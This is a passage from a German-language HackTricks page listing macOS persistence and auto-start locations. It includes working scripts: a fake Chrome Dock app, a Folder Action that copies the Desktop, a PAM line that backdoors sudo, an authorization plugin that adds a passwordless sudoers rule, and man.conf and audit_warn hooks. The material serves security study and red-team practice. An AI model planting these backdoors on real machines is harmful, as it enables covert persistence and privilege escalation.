- Verwenden von OSAScript, um Apple Event-Nachrichten an die
System Events.appzu senden, um programmatisch eine Folder Action einzurichten.
- Diese Methode ist besonders nützlich, um die Aktion ins System einzubetten und bietet ein Maß an Persistenz.
Das folgende Skript ist ein Beispiel dafür, was von einer Folder Action ausgeführt werden kann:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Um das obige Skript mit Folder Actions verwendbar zu machen, kompilieren Sie es mit:
osacompile -l JavaScript -o folder.scpt source.js
Nachdem das script kompiliert wurde, richten Sie Folder Actions ein, indem Sie das folgende script ausführen. Dieses script aktiviert Folder Actions global und hängt das zuvor kompilierte script speziell an den Desktop-Ordner an.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
Führe das Setup-Skript mit folgendem Befehl aus:
osascript -l JavaScript /Users/username/attach.scpt
- So implementieren Sie diese persistence über die GUI:
Dies ist das Skript, das ausgeführt wird:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Kompiliere es mit: osacompile -l JavaScript -o folder.scpt source.js
Verschiebe es nach:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Then, open the Folder Actions Setup app, select the folder you would like to watch and select in your case folder.scpt (in my case I called it output2.scp):
.png)
Now, if you open that folder with Finder, your script will be executed.
Diese Konfiguration wurde in der plist im Pfad ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist im Base64-Format gespeichert.
Versuchen wir nun, diese Persistenz ohne GUI-Zugriff vorzubereiten:
- Kopiere
~/Library/Preferences/com.apple.FolderActionsDispatcher.plistnach/tmp, um es zu sichern:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Entferne die Folder Actions, die du gerade gesetzt hast:
.png)
Da wir jetzt eine leere Umgebung haben
- Kopiere die Sicherungsdatei:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - Öffne die Folder Actions Setup.app, um diese Konfiguration zu laden:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
Und das hat bei mir nicht funktioniert, aber das sind die Anweisungen aus dem writeup:(
Dock shortcuts
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
- Nützlich, um die Sandbox zu umgehen: ✅
- Aber du musst eine bösartige Anwendung im System installiert haben
- TCC bypass: 🔴
Speicherort
~/Library/Preferences/com.apple.dock.plist- Auslöser: Wenn der Benutzer auf die App im Dock klickt
Beschreibung & Exploitation
Alle Anwendungen, die im Dock erscheinen, sind in der plist angegeben: ~/Library/Preferences/com.apple.dock.plist
Es ist möglich, eine Anwendung hinzuzufügen einfach mit:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
Mit etwas social engineering könntest du zum Beispiel Google Chrome im Dock imitieren und tatsächlich dein eigenes Skript ausführen:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Color Pickers
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- Nützlich, um die Sandbox zu umgehen: 🟠
- Eine sehr spezifische Aktion muss stattfinden
- Man landet in einer anderen Sandbox
- TCC-Bypass: 🔴
Location
/Library/ColorPickers- Root-Rechte erforderlich
- Auslöser: Color Picker verwenden
~/Library/ColorPickers- Auslöser: Color Picker verwenden
Beschreibung & Exploit
Kompiliere ein color picker Bundle mit deinem Code (du könntest dieses zum Beispiel verwenden) und füge einen Konstruktor hinzu (wie im Screen Saver-Abschnitt) und kopiere das Bundle nach ~/Library/ColorPickers.
Dann, wenn der Color Picker ausgelöst wird, solltest du ebenfalls ausgeführt werden.
Beachte, dass das Binary, das deine Library lädt, eine sehr restriktive Sandbox hat: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html
- Nützlich, um die sandbox zu umgehen: Nein, weil man seine eigene App ausführen muss
- TCC bypass: ???
Location
- Eine spezifische App
Description & Exploit
Ein Anwendungsbeispiel mit einer Finder Sync Extension ist hier zu finden.
Anwendungen können Finder Sync Extensions haben. Diese Extension wird in eine Anwendung eingebettet, die ausgeführt wird. Darüber hinaus muss die Extension, damit sie ihren Code ausführen kann, mit einem gültigen Apple developer certificate signiert sein, sie muss sandboxed sein (obwohl lockere Ausnahmen hinzugefügt werden könnten) und sie muss bei etwas wie registriert sein:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Screen Saver
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Nützlich, um die sandbox zu umgehen: 🟠
- Aber du landest in einer normalen application sandbox
- TCC bypass: 🔴
Speicherort
/System/Library/Screen Savers- Root erforderlich
- Trigger: Screen Saver auswählen
/Library/Screen Savers- Root erforderlich
- Trigger: Screen Saver auswählen
~/Library/Screen Savers- Trigger: Screen Saver auswählen
.png)
Beschreibung & Exploit
Erstelle ein neues Projekt in Xcode und wähle die Vorlage, um einen neuen Screen Saver zu generieren. Füge dann deinen Code hinzu, zum Beispiel den folgenden Code, um Logs zu erzeugen.
Build it, and copy the .saver bundle to ~/Library/Screen Savers. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
Beachte, dass sich in den Entitlements des Binaries, das diesen Code lädt (
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver),com.apple.security.app-sandboxbefindet, weshalb du dich inside the common application sandbox befinden wirst.
Bildschirmschoner-Code:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight Plugins
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Nützlich, um die sandbox zu umgehen: 🟠
- Du landest jedoch in einer application sandbox
- TCC bypass: 🔴
- Die sandbox wirkt sehr eingeschränkt
Ort
~/Library/Spotlight/- Auslöser: Eine neue Datei mit einer Erweiterung, die vom Spotlight plugin verwaltet wird, wird erstellt.
/Library/Spotlight/- Auslöser: Eine neue Datei mit einer Erweiterung, die vom Spotlight plugin verwaltet wird, wird erstellt.
- Root erforderlich
/System/Library/Spotlight/- Auslöser: Eine neue Datei mit einer Erweiterung, die vom Spotlight plugin verwaltet wird, wird erstellt.
- Root erforderlich
Some.app/Contents/Library/Spotlight/- Auslöser: Eine neue Datei mit einer Erweiterung, die vom Spotlight plugin verwaltet wird, wird erstellt.
- Neue App erforderlich
Beschreibung & Ausnutzung
Spotlight ist die in macOS integrierte Suchfunktion, die darauf ausgelegt ist, Benutzern schnellen und umfassenden Zugriff auf Daten auf ihren Computern zu ermöglichen.
Um diese schnelle Suchfunktion zu ermöglichen, pflegt Spotlight eine proprietäre Datenbank und erstellt einen Index, indem es die meisten Dateien parst, wodurch schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalt möglich sind.
Der zugrundeliegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens ‘mds’, was für ‘Metadaten-Server’ steht. Dieser Prozess steuert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere ‘mdworker’-Daemons, die verschiedene Wartungsaufgaben übernehmen, wie das Indexieren unterschiedlicher Dateitypen (ps -ef | grep mdworker). Diese Aufgaben werden durch Spotlight importer plugins bzw. “.mdimporter bundles” ermöglicht, die Spotlight befähigen, Inhalte einer Vielzahl von Dateiformaten zu verstehen und zu indexieren.
Die Plugins bzw. .mdimporter-Bundles befinden sich an den zuvor genannten Orten, und wenn ein neues Bundle erscheint, wird es innerhalb einer Minute geladen (kein Neustart eines Dienstes erforderlich). Diese Bundles müssen angeben, welche Dateitypen und -erweiterungen sie verwalten können; auf diese Weise verwendet Spotlight sie, wenn eine neue Datei mit der angegebenen Erweiterung erstellt wird.
Es ist möglich, alle geladenen mdimporters zu finden, indem man Folgendes ausführt:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
Und zum Beispiel wird /Library/Spotlight/iBooksAuthor.mdimporter verwendet, um diese Art von Dateien zu parsen (Erweiterungen .iba und .book unter anderem):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
Wenn du die Plist anderer
mdimporterüberprüfst, findest du möglicherweise nicht den EintragUTTypeConformsTo. Das liegt daran, dass dies ein eingebauter Uniform Type Identifiers (UTI) ist und keine Erweiterungen angeben muss.Außerdem haben systemeigene Standard-Plugins immer Vorrang, sodass ein Angreifer nur auf Dateien zugreifen kann, die nicht bereits von Apples eigenen
mdimportersindexiert werden.
Um deinen eigenen Importer zu erstellen, kannst du mit diesem Projekt beginnen: [https://github.com/megrimm/pd-spotlight-importer] und dann den Namen, die CFBundleDocumentTypes ändern und UTImportedTypeDeclarations hinzufügen, damit es die Erweiterung unterstützt, die du unterstützen möchtest, und sie in schema.xml spiegeln.
Dann ändere den Code der Funktion GetMetadataForFile, damit dein payload ausgeführt wird, wenn eine Datei mit der verarbeiteten Erweiterung erstellt wird.
Schließlich baue und kopiere dein neues .mdimporter in einen der vorherigen Orte und du kannst prüfen, ob es geladen wird, indem du die Logs überwachst oder mdimport -L ausführst.
Preference Pane
Caution
Es sieht nicht so aus, als würde das noch funktionieren.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Standort
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Beschreibung
Es sieht nicht so aus, als würde das noch funktionieren.
Root Sandbox Bypass
Tip
Hier findest du Startorte, die für sandbox bypass nützlich sind und es ermöglichen, etwas einfach auszuführen, indem man es als root in eine Datei schreibt und/oder andere merkwürdige Bedingungen erfordert.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Standort
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- Root erforderlich
- Auslöser: Wenn die Zeit gekommen ist
/etc/daily.local,/etc/weekly.localoder/etc/monthly.local- Root erforderlich
- Auslöser: Wenn die Zeit gekommen ist
Beschreibung & Ausnutzung
Die periodic-Skripte (/etc/periodic) werden aufgrund der in /System/Library/LaunchDaemons/com.apple.periodic* konfigurierten launch daemons ausgeführt. Beachte, dass Skripte, die in /etc/periodic/ gespeichert sind, als Eigentümer der Datei ausgeführt werden, sodass dies nicht für eine mögliche Privilegieneskalation funktioniert.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
Es gibt weitere periodische Skripte, die ausgeführt werden, wie in /etc/defaults/periodic.conf angegeben:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
If you manage to write any of the files /etc/daily.local, /etc/weekly.local or /etc/monthly.local it will be früher oder später ausgeführt.
Warning
Beachte, dass das periodische Skript als dessen Eigentümer ausgeführt wird. Wenn ein normaler Benutzer Eigentümer des Skripts ist, wird es als dieser Benutzer ausgeführt (das kann Privilegieneskalationsangriffe verhindern).
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
Ort
- Root immer erforderlich
Beschreibung & Exploitation
Da PAM stärker auf persistence und Malware als auf einfache Ausführung innerhalb von macOS ausgerichtet ist, wird dieser Beitrag keine detaillierte Erklärung liefern. Lies die Writeups, um diese Technik besser zu verstehen.
PAM-Module prüfen mit:
ls -l /etc/pam.d
Eine persistence/privilege escalation-Technik, die PAM ausnutzt, ist so einfach wie das Ändern des Moduls /etc/pam.d/sudo, indem am Anfang die folgende Zeile hinzugefügt wird:
auth sufficient pam_permit.so
Also wird es so aussehen:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
Und daher wird jeder Versuch, sudo zu verwenden, funktionieren.
Caution
Beachte, dass dieses Verzeichnis durch TCC geschützt ist, daher wird der Benutzer sehr wahrscheinlich zur Gewährung des Zugriffs aufgefordert.
Ein weiteres gutes Beispiel ist su, wo man sehen kann, dass es auch möglich ist, Parameter an die PAM-Module zu übergeben (und man könnte diese Datei auch backdooren):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Authorization Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Nützlich, um sandbox zu umgehen: 🟠
- Allerdings musst du root sein und zusätzliche Konfigurationen vornehmen
- TCC bypass: ???
Location
/Library/Security/SecurityAgentPlugins/- Root erforderlich
- Es ist außerdem nötig, die authorization database zu konfigurieren, damit das Plugin verwendet wird
Description & Exploitation
du kannst ein authorization plugin erstellen, das beim Benutzer-Login ausgeführt wird, um persistence aufrechtzuerhalten. Für mehr Informationen darüber, wie man eines dieser Plugins erstellt, siehe die oben genannten Writeups (und sei vorsichtig: ein schlecht geschriebenes Plugin kann dich aussperren und du musst dein mac aus dem recovery mode säubern).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Verschiebe das bundle an den Ort, von dem es geladen wird:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Fügen Sie schließlich die Regel hinzu, um dieses Plugin zu laden:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
Die evaluate-mechanisms sagt dem Autorisierungs-Framework, dass es einen externen Mechanismus zur Autorisierung aufrufen muss. Außerdem bewirkt privileged, dass es als root ausgeführt wird.
Starte es mit:
security authorize com.asdf.asdf
Und dann sollte die staff group sollte sudo-Zugriff haben (lies /etc/sudoers zur Bestätigung).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
- Nützlich, um die sandbox zu umgehen: 🟠
- Aber du musst root sein und der Benutzer muss man verwenden
- TCC bypass: 🔴
Standort
/private/etc/man.conf- Root erforderlich
/private/etc/man.conf: Immer wenn man aufgerufen wird
Beschreibung & Exploit
Die Konfigurationsdatei /private/etc/man.conf gibt das binary/script an, das beim Öffnen von man-Seiten verwendet wird. Der Pfad zur ausführbaren Datei kann so geändert werden, dass jedes Mal, wenn der Benutzer man zum Lesen von Dokumentationen verwendet, eine Backdoor ausgeführt wird.
Zum Beispiel setze in /private/etc/man.conf:
MANPAGER /tmp/view
Erstelle dann /tmp/view als:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
- Nützlich, um die Sandbox zu umgehen: 🟠
- Sie benötigen root-Rechte und Apache muss laufen
- TCC bypass: 🔴
- Httpd doesn’t have entitlements
Location
/etc/apache2/httpd.conf- Root-Rechte erforderlich
- Auslöser: Wenn Apache2 gestartet wird
Beschreibung & Exploit
Sie können in /etc/apache2/httpd.conf angeben, ein Modul zu laden, indem Sie eine Zeile wie die folgende hinzufügen:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Auf diese Weise wird Ihr kompiliertes Modul von Apache geladen. Das Einzige ist, dass Sie entweder mit einem gültigen Apple-Zertifikat signieren müssen, oder Sie müssen ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren.
Dann können Sie, falls nötig, um sicherzustellen, dass der Server gestartet wird, folgendes ausführen:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Code-Beispiel für die Dylb:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
- Nützlich, um die sandbox zu umgehen: 🟠
- Aber du musst root sein, auditd muss laufen und eine Warnung verursachen
- TCC bypass: 🔴
Speicherort
/etc/security/audit_warn- Root-Rechte erforderlich
- Auslöser: Wenn auditd eine Warnung erkennt
Beschreibung & Exploit
Immer wenn auditd eine Warnung erkennt, wird das Skript /etc/security/audit_warn ausgeführt. Du könntest dort also dein payload hinzufügen.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Sie können eine Warnung mit sudo audit -n erzwingen.
Startup Items
[!CAUTION] > Dies ist veraltet, daher sollte in diesen Verzeichnissen nichts zu finden sein.
Das StartupItem ist ein Verzeichnis, das sich entweder unter /Library/StartupItems/ oder /System/Library/StartupItems/ befinden sollte. Sobald dieses Verzeichnis angelegt ist, muss es zwei bestimmte Dateien enthalten:
- Ein rc script: Ein Shell-Skript, das beim Systemstart ausgeführt wird.
- Eine plist file, konkret benannt
StartupParameters.plist, die verschiedene Konfigurationsparameter enthält.
Stellen Sie sicher, dass sowohl das rc script als auch die Datei StartupParameters.plist korrekt im StartupItem-Verzeichnis abgelegt sind, damit der Startvorgang sie erkennt und verwendet.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
Ich kann diese Komponente auf meinem macOS nicht finden; für mehr Informationen siehe das Writeup
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Von Apple eingeführt ist emond ein Logging-Mechanismus, der den Anschein erweckt, unterentwickelt oder möglicherweise aufgegeben worden zu sein, der aber weiterhin zugänglich bleibt. Obwohl er für einen Mac-Administrator nicht besonders nützlich ist, kann dieser obskure Dienst als unauffällige Persistenzmethode für threat actors dienen und von den meisten macOS-Admins wahrscheinlich unbemerkt bleiben.
Für diejenigen, die seine Existenz kennen, ist das Erkennen einer bösartigen Nutzung von emond unkompliziert. Der LaunchDaemon des Systems für diesen Dienst sucht in einem einzigen Verzeichnis nach auszuführenden Skripten. Um dies zu prüfen, kann folgender Befehl verwendet werden:
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
Ort
/opt/X11/etc/X11/xinit/privileged_startx.d- Root-Rechte erforderlich
- Auslöser: Mit XQuartz
Beschreibung & Exploit
XQuartz ist nicht mehr in macOS installiert, also wenn du mehr Infos möchtest, siehe das Writeup.
kext
Caution
Es ist so kompliziert, kext zu installieren, selbst als root, dass ich dies nicht als Methode für Sandbox-Escape oder gar für Persistenz betrachten werde (es sei denn, du hast einen exploit)
Ort
Um einen KEXT als Autostart-Element zu installieren, muss er an einem der folgenden Orte installiert werden:
/System/Library/Extensions- KEXT-Dateien, die in das OS X-Betriebssystem eingebaut sind.
/Library/Extensions- KEXT-Dateien, die von Drittanbieter-Software installiert wurden
Du kannst aktuell geladene kext-Dateien mit auflisten:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
Speicherort
/usr/local/bin/amstoold- Root required
Beschreibung & Ausnutzung
Anscheinend verwendete die plist aus /System/Library/LaunchAgents/com.apple.amstoold.plist dieses binary, während sie einen XPC service exponierte… das Problem war, dass das binary nicht existierte, sodass man dort etwas ablegen konnte und beim Aufruf des XPC service das eigene binary ausgeführt wurde.
Ich kann das auf meinem macOS nicht mehr finden.
xsanctl
Writeup: https://theevilbit.github.io/beyond/beyond_0015/
Speicherort
/Library/Preferences/Xsan/.xsanrc- Root required
- Trigger: Wenn der Service ausgeführt wird (selten)
Beschreibung & Ausnutzung
Anscheinend wird dieses Skript nicht sehr häufig ausgeführt und ich konnte es auf meinem macOS nicht einmal finden; für weitere Informationen siehe das Writeup.
/etc/rc.common
[!CAUTION] > Das funktioniert nicht in modernen macOS-Versionen
Es ist außerdem möglich, hier Befehle abzulegen, die beim Start ausgeführt werden. Beispiel für ein reguläres rc.common-Skript:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Persistenztechniken und Tools
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


